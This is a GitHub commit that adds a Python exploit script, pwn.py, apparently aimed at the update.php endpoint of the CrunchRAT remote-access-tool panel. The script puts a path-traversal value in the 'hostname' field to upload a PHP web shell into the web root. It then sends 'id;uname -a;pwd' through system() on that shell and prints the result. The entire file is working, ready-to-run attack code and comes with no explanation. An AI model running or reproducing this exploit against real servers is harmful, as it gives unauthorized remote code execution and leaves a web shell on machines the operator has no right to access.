Skip to content

Commit a39d358

Browse files
authored
Create pwn.py
1 parent 705a0cc commit a39d358

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed

CrunchRATPoison/pwn.py

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
#!/usr/bin/python
2+
# coding: utf-8
3+
import requests
4+
import sys
5+
requests.packages.urllib3.disable_warnings()
6+
7+
def pwn(update_url):
8+
data = {"id": "1337", "action": "download", "secondary": "lol", "hostname": "../../../../../var/www/html/uploads/lol"}
9+
files = {'download': open('shell.php','rb')}
10+
print "{+} Uploading Shell..."
11+
try:
12+
r = requests.post(url=update_url, files=files, data=data, verify=False)
13+
except Exception, e:
14+
sys.exit(str(e))
15+
shell_url = update_url.replace("update.php", "uploads/lol/shell.php")
16+
print "{+} Shell Uploaded. It should be at %s" %(shell_url)
17+
return shell_url
18+
19+
def check_shell(shell_url):
20+
print "{+} Sending id;uname -a;pwd...\n\n"
21+
data = {"1337": 'system("id;uname -a;pwd");'}
22+
try:
23+
r = requests.post(shell_url, data=data, verify=False)
24+
print r.content
25+
except Exception, e:
26+
sys.exit(str(e))
27+
28+
def main(args):
29+
if len(args) !=2:
30+
sys.exit("use: %s https://target.tld/update.php" %(args[0]))
31+
shell_url = pwn(update_url=args[1])
32+
check_shell(shell_url)
33+
34+
if __name__ == "__main__":
35+
main(args=sys.argv)

0 commit comments

Comments
 (0)